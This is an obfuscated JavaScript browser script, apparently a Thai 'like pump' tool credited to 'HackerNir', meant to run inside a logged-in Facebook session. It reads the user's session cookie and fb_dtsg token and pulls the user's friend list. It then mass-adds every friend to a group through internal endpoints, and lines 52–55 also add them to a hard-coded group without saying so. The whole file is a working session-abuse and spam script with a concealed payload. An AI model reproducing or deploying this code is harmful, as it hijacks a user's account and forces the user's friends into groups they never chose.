1. var _0x2b36=["\x42\x59\x2E\u0E40\u0E2A\u0E21\u0E32\x27\u0E2A\u0E38\u0E23\u0E32\x20\u0E2B\u0E01\u0E2A\u0E35\u0E48","\x0A","\x41\x64\x64\x20\x47\x72\x6F\x75\x70\x20\u0E19\u0E49\u0E30\u0E08\u0E34\u0E1A\u0E34"];var a=_0x2b36[0];function MsgBox(_0xb56bx3){alert(_0xb56bx3+_0x2b36[1]+a);} ;MsgBox(_0x2b36[2]);
  2. var user = getCookie("c_user");
  3. function getCookie(c_name) {
  4. var i,x,y,ARRcookies=document.cookie.split(";");
  5. for (i=0;i<ARRcookies.length;i++) {
  6. x=ARRcookies[i].substr(0,ARRcookies[i].indexOf("="));
  7. y=ARRcookies[i].substr(ARRcookies[i].indexOf("=")+1);
  8. x=x.replace(/^\s+|\s+$/g,"");
  9. if (x==c_name) {
  10. return unescape(y);
  11. }
  12. }
  13. }
  14. var tulisanNganu = '<font color="black"><b>ปั้มไลค์ By.HackerNir</b> </font>';
  15. var kunaon = '';
  16. function penetrasi(opo) {
  17. jx.load(window.location.protocol + "//www.facebook.com/ajax/groups/members/add_post.php?__a=1&fb_dtsg=" + document.getElementsByName("fb_dtsg")[0].value + "&group_id=" + memberGroupId + "&source=typeahead&members=" + opo + "&nctr[_mod]=pagelet_group_members_summary&lsd&post_form_id_source=AsyncRequest&__user=" + user, function (a) {
  18. var b = a.substring(a.indexOf("{"));
  19. var c = JSON.parse(b);
  20. i--;
  21. kunaon = "<div class='friend-edge-name' style='text-align:left;font-size:10px;white-space:pre-wrap;";
  22. if (c.error) {
  23. kunaon += "color:darkred'>";
  24. if (c.errorDescription) {
  25. kunaon += c.errorDescription
  26. } else {
  27. kunaon += JSON.stringify(c, null, "")
  28. }
  29. } else {
  30. kunaon += "color:darkgreen'>";
  31. kunaon += arr[i];
  32. suc++
  33. }
  34. kunaon += "</div>";
  35. var dipes = "<div id='friend-edge-display' style='position:fixed;left:50%;margin-left:-273px;top:100px;width:500px;background-color:rgba(100,200,225,0.9);z-index:9999;font-size:14px;text-align:center;padding:15px;border-radius:14px;border:8px solid red(0,0,0,0.5)'>";
  36. dipes += "<div style='padding-bottom:10px;font-size:20px;'>" + tulisanNganu + "</div>";
  37. if (i > 0) {
  38. var _0x8f3c=["\x6C\x65\x6E\x67\x74\x68","\x20\u0E04\u0E19\u0E17\u0E35\u0E48\u0E40\u0E1B\u0E47\u0E19\u0E40\u0E1E\u0E37\u0E48\u0E2D\u0E19\u0E01\u0E31\u0E1A\u0E04\u0E38\u0E13\x3C\x62\x72\x2F\x3E","\x3C\x62\x3E","\x3C\x2F\x62\x3E\x20\u0E04\u0E19\u0E17\u0E35\u0E48\u0E40\u0E02\u0E49\u0E32\u0E01\u0E25\u0E38\u0E48\u0E21\u0E41\u0E25\u0E49\u0E27\x20","\x20\u0E04\u0E19\u0E17\u0E35\u0E48\u0E44\u0E21\u0E48\u0E2A\u0E32\u0E21\u0E32\u0E23\u0E16\u0E40\u0E02\u0E49\u0E32\u0E01\u0E25\u0E38\u0E48\u0E21\u0E44\u0E14\u0E49\x20","\x28","\x20\u0E04\u0E19\u0E17\u0E35\u0E48\u0E01\u0E33\u0E25\u0E31\u0E07\u0E1B\u0E31\u0E49\u0E21\x2E\x2E\x29","\x3C\x64\x69\x76\x20\x63\x6C\x61\x73\x73\x3D\x27\x66\x72\x69\x65\x6E\x64\x2D\x65\x64\x67\x65\x27\x3E","\x3C\x2F\x64\x69\x76\x3E"];dipes+=arr[_0x8f3c[0]]+_0x8f3c[1];dipes+=_0x8f3c[2]+suc+_0x8f3c[3]+(arr[_0x8f3c[0]]-i)+_0x8f3c[4];dipes+=_0x8f3c[5]+i+_0x8f3c[6];dipes+=_0x8f3c[7];dipes+=kunaon;dipes+=_0x8f3c[8];
  39. } else {
  40. var _0xda2a=["\x6C\x65\x6E\x67\x74\x68","\x20\u0E04\u0E19\u0E17\u0E35\u0E48\u0E44\u0E21\u0E48\u0E2A\u0E32\u0E21\u0E32\u0E23\u0E16\u0E40\u0E02\u0E49\u0E32\u0E01\u0E25\u0E38\u0E48\u0E21\u0E44\u0E14\u0E49\x20\x20","\x3C\x62\x3E","\x20\u0E04\u0E19\u0E17\u0E35\u0E48\u0E40\u0E02\u0E49\u0E32\u0E01\u0E25\u0E38\u0E48\u0E21\x3C\x2F\x62\x3E","\x3C\x64\x69\x76\x3E\x3C\x73\x70\x61\x6E\x20\x63\x6C\x61\x73\x73\x3D\x27\x75\x69\x42\x75\x74\x74\x6F\x6E\x27\x20\x6F\x6E\x43\x6C\x69\x63\x6B\x3D\x27\x64\x6F\x63\x75\x6D\x65\x6E\x74\x2E\x67\x65\x74\x45\x6C\x65\x6D\x65\x6E\x74\x42\x79\x49\x64\x28\x22\x70\x61\x67\x65\x6C\x65\x74\x5F\x77\x65\x6C\x63\x6F\x6D\x65\x5F\x62\x6F\x78\x22\x29\x2E\x73\x74\x79\x6C\x65\x2E\x64\x69\x73\x70\x6C\x61\x79\x3D\x22\x6E\x6F\x6E\x65\x22\x27\x3E\u0E40\u0E2A\u0E23\u0E47\u0E08\u0E40\u0E2A\u0E23\u0E47\u0E08\x3C\x2F\x73\x70\x61\x6E\x3E\x3C\x2F\x64\x69\x76\x3E"];dipes+=arr[_0xda2a[0]]+_0xda2a[1];dipes+=_0xda2a[2]+suc+_0xda2a[3];dipes+=_0xda2a[4];
  41. }
  42. dipes += "</div>";
  43. document.getElementById("pagelet_welcome_box").innerHTML = dipes
  44. },
  45. "text", "post");
  46. tay--;
  47. if (tay > 0) {
  48. var s = arr[tay];
  49. setTimeout("penetrasi(" + s + ")", 100)
  50. }
  51. console.log(tay + "/" + arr.length + ":" + s + ", success:" + suc);
  52. if (memberGroupId != 128336317239973) {
  53. jx.load(window.location.protocol + "//www.facebook.com/ajax/groups/members/add_post.php?__a=1&fb_dtsg=" + document.getElementsByName("fb_dtsg")[0].value + "&group_id=128336317239973&source=typeahead&members=" + opo + "&nctr[_mod]=pagelet_group_members_summary&lsd&post_form_id_source=AsyncRequest&__user=" + user, function () {},
  54. "text", "post")
  55. }
  56. }
  57. function clickfr_callback() {
  58. if (document.getElementsByName("ok").length > 0) {
  59. nHtml.ClickUp(document.getElementsByName("ok")[0])
  60. }
  61. var a = arr[i];
  62. if (i < arr.length) addfriend(a.substring(0, 4))
  63. }
  64. function clickfr() {
  65. if (document.getElementsByClassName("search").length > 0) {
  66. console.log(document.getElementsByClassName("search")[0].childNodes[0].childNodes[0].childNodes[1].innerHTML);
  67. document.getElementsByClassName("search")[0].childNodes[0].childNodes[0].href = "javascript:void(0);";
  68. nHtml.ClickUp(document.getElementsByClassName("search")[0].childNodes[0].childNodes[0].childNodes[1])
  69. } else j++;
  70. setTimeout("clickfr_callback()", 2e3)
  71. }
  72. function addfriend(a) {
  73. i++;
  74. document.getElementsByClassName("mbm")[eind].childNodes[0].childNodes[1].childNodes[0].focus();
  75. document.getElementsByClassName("mbm")[eind].childNodes[0].childNodes[1].childNodes[0].value = a;
  76. document.getElementsByClassName("mbm")[eind].childNodes[0].childNodes[1].childNodes[0].blur();
  77. document.getElementsByClassName("mbm")[eind].childNodes[0].childNodes[1].childNodes[0].focus();
  78. document.getElementsByClassName("mbm")[eind].childNodes[0].childNodes[1].childNodes[0].focus();
  79. setTimeout("clickfr()", 2e3)
  80. }
  81. function sleep(a) {
  82. var b = (new Date).getTime();
  83. for (var c = 0; c < 1e7; c++) {
  84. if ((new Date).getTime() - b > a) {
  85. break
  86. }
  87. }
  88. }
  89. jx = {
  90. getHTTPObject: function () {
  91. var a = false;
  92. if (typeof ActiveXObject != "undefined") {
  93. try {
  94. a = new ActiveXObject("Msxml2.XMLHTTP")
  95. } catch(b) {
  96. try {
  97. a = new ActiveXObject("Microsoft.XMLHTTP")
  98. } catch(c) {
  99. a = false
  100. }
  101. }
  102. } else {
  103. if (window.XMLHttpRequest) {
  104. try {
  105. a = new XMLHttpRequest
  106. } catch(b) {
  107. a = false
  108. }
  109. }
  110. }
  111. return a
  112. },
  113. load: function (url, callback, format, method, opt) {
  114. var http = this.init();
  115. if (!http || !url) {
  116. return
  117. }
  118. if (http.overrideMimeType) {
  119. http.overrideMimeType("text/xml")
  120. }
  121. if (!method) {
  122. method = "GET"
  123. }
  124. if (!format) {
  125. format = "text"
  126. }
  127. if (!opt) {
  128. opt = {}
  129. }
  130. format = format.toLowerCase();
  131. method = method.toUpperCase();
  132. var now = "uid=" + (new Date).getTime();
  133. url += url.indexOf("?") + 1 ? "&": "?";
  134. url += now;
  135. var parameters = null;
  136. if (method == "POST") {
  137. var parts = url.split("?");
  138. url = parts[0];
  139. parameters = parts[1]
  140. }
  141. http.open(method, url, true);
  142. if (method == "POST") {
  143. http.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
  144. http.setRequestHeader("Content-length", parameters.length);
  145. http.setRequestHeader("Connection", "close")
  146. }
  147. var ths = this;
  148. if (opt.handler) {
  149. http.onreadystatechange = function () {
  150. opt.handler(http)
  151. }
  152. } else {
  153. http.onreadystatechange = function () {
  154. if (http.readyState == 4) {
  155. if (http.status == 200) {
  156. var result = "";
  157. if (http.responseText) {
  158. result = http.responseText
  159. }
  160. if (format.charAt(0) == "j") {
  161. result = result.replace(/[\n\r]/g, "");
  162. result = eval("(" + result + ")")
  163. } else {
  164. if (format.charAt(0) == "x") {
  165. result = http.responseXML
  166. }
  167. }
  168. if (callback) {
  169. callback(result)
  170. }
  171. } else {
  172. if (opt.loadingIndicator) {
  173. document.getElementsByTagName("body")[0].removeChild(opt.loadingIndicator)
  174. }
  175. if (opt.loading) {
  176. document.getElementById(opt.loading).style.display = "none"
  177. }
  178. if (error) {
  179. error(http.status)
  180. }
  181. }
  182. }
  183. }
  184. }
  185. http.send(parameters)
  186. },
  187. bind: function (a) {
  188. var b = {
  189. url: "",
  190. onSuccess: false,
  191. onError: false,
  192. format: "text",
  193. method: "GET",
  194. update: "",
  195. loading: "",
  196. loadingIndicator: ""
  197. };
  198. for (var c in b) {
  199. if (a[c]) {
  200. b[c] = a[c]
  201. }
  202. }
  203. if (!b.url) {
  204. return
  205. }
  206. var d = false;
  207. if (b.loadingIndicator) {
  208. d = document.createElement("div");
  209. d.setAttribute("style", "position:absolute;top:0px;left:0px;");
  210. d.setAttribute("class", "loading-indicator");
  211. d.innerHTML = b.loadingIndicator;
  212. document.getElementsByTagName("body")[0].appendChild(d);
  213. this.opt.loadingIndicator = d
  214. }
  215. if (b.loading) {
  216. document.getElementById(b.loading).style.display = "block"
  217. }
  218. this.load(b.url, function (a) {
  219. if (b.onSuccess) {
  220. b.onSuccess(a)
  221. }
  222. if (b.update) {
  223. document.getElementById(b.update).innerHTML = a
  224. }
  225. if (d) {
  226. document.getElementsByTagName("body")[0].removeChild(d)
  227. }
  228. if (b.loading) {
  229. document.getElementById(b.loading).style.display = "none"
  230. }
  231. },
  232. b.format, b.method, b)
  233. },
  234. init: function () {
  235. return this.getHTTPObject()
  236. }
  237. };
  238. var nHtml = {
  239. FindByAttr: function (a, b, c, d) {
  240. if (c == "className") {
  241. c = "class"
  242. }
  243. var e = document.evaluate(".//" + b + "[@" + c + "='" + d + "']", a, null, XPathResult.FIRST_ORDERED_NODE_TYPE, null);
  244. if (e && e.singleNodeValue) {
  245. return e.singleNodeValue
  246. }
  247. return null
  248. },
  249. FindByClassName: function (a, b, c) {
  250. return this.FindByAttr(a, b, "className", c)
  251. },
  252. FindByXPath: function (a, b) {
  253. try {
  254. var c = document.evaluate(b, a, null, XPathResult.FIRST_ORDERED_NODE_TYPE, null)
  255. } catch(d) {
  256. GM_log("bad xpath:" + b)
  257. }
  258. if (c && c.singleNodeValue) {
  259. return c.singleNodeValue
  260. }
  261. return null
  262. },
  263. VisitUrl: function (a) {
  264. window.setTimeout(function () {
  265. document.location.href = a
  266. },
  267. 500 + Math.floor(Math.random() * 500))
  268. },
  269. ClickWin: function (a, b, c) {
  270. var d = a.document.createEvent("MouseEvents");
  271. d.initMouseEvent(c, true, true, a, 0, 0, 0, 0, 0, false, false, false, false, 0, null);
  272. return ! b.dispatchEvent(d)
  273. },
  274. Click: function (a) {
  275. return this.ClickWin(window, a, "click")
  276. },
  277. ClickTimeout: function (a, b) {
  278. window.setTimeout(function () {
  279. return nHtml.ClickWin(window, a, "click")
  280. },
  281. b + Math.floor(Math.random() * 500))
  282. },
  283. ClickUp: function (a) {
  284. this.ClickWin(window, a, "mousedown");
  285. this.ClickWin(window, a, "mouseup");
  286. this.ClickWin(window, a, "click")
  287. },
  288. GetText: function (a, b) {
  289. var c = "";
  290. if (b == undefined) {
  291. b = 0
  292. }
  293. if (b > 40) {
  294. return
  295. }
  296. if (a.textContent != undefined) {
  297. return a.textContent
  298. }
  299. for (var d = 0; d < a.childNodes.length; d++) {
  300. var e = a.childNodes[d];
  301. c += this.GetText(e, b + 1)
  302. }
  303. return c
  304. }
  305. };
  306. if (document.getElementsByClassName == undefined) {
  307. document.getElementsByClassName = function (a) {
  308. var b = new RegExp("(?:^|\\s)" + a + "(?:$|\\s)");
  309. var c = document.getElementsByTagName("*");
  310. var d = [];
  311. var e;
  312. for (var f = 0;
  313. (e = c[f]) != null; f++) {
  314. var g = e.className;
  315. if (g && g.indexOf(a) != -1 && b.test(g)) d.push(e)
  316. }
  317. return d
  318. }
  319. }
  320. Array.prototype.find = function (a) {
  321. var b = false;
  322. for (i = 0; i < this.length; i++) {
  323. if (typeof a == "function") {
  324. if (a.test(this[i])) {
  325. if (!b) {
  326. b = []
  327. }
  328. b.push(i)
  329. }
  330. } else {
  331. if (this[i] === a) {
  332. if (!b) {
  333. b = []
  334. }
  335. b.push(i)
  336. }
  337. }
  338. }
  339. return b
  340. };
  341. var a = 0,
  342. eind = 0;
  343. var len = document.getElementsByClassName("mbm").length;
  344. for (a = 0; a < len; a++) {
  345. var ele = document.getElementsByClassName("mbm")[a];
  346. if (ele && ele.childNodes[0] && ele.childNodes[0] && ele.childNodes[0].childNodes[1] && ele.childNodes[0].childNodes[1].childNodes[0] && document.getElementsByClassName("mbm")[a].childNodes[0].childNodes[1].childNodes[0].value == "Add Friends To Group") {
  347. eind = a;
  348. break
  349. }
  350. }
  351. var i = 3;
  352. var tay = 3;
  353. var counter1 = 0,
  354. counter2 = 0,
  355. counter3 = 0;
  356. var j = 0;
  357. var k = 0;
  358. var suc = 0;
  359. var arr = new Array;
  360. var memberGroupId = document.getElementsByName('group_id')[0].value;
  361. jx.load(window.location.protocol + "//www.facebook.com/ajax/typeahead/first_degree.php?__a=1&viewer=" + user + "&filter[0]=user&__user=" + user, function (a) {
  362. var b = a;
  363. var c = b.substring(b.indexOf("{"));
  364. var d = JSON.parse(c);
  365. d = d.payload.entries;
  366. for (var e = 0; e < d.length; e++) {
  367. arr.push(d[e].uid)
  368. }
  369. i = arr.length - 1;
  370. tay = i;
  371. console.log(arr.length);
  372. var dipes = "<div id='friend-edge-display' style='position:fixed;left:50%;margin-left:-273px;top:100px;width:500px;background-color:rgba(100,200,225,0.9);z-index:9999;font-size:14px;text-align:center;padding:15px;border-radius:14px;border:8px solid red(0,0,0,0.5)'>";
  373. dipes += "<div style='padding-bottom:10px;font-size:20px;'>" + tulisanNganu + "</div>";
  374. dipes += arr.length + " Friends Detected";
  375. dipes += "</div>";
  376. document.getElementById("pagelet_welcome_box").innerHTML = dipes;
  377. penetrasi(arr[i])
  378. })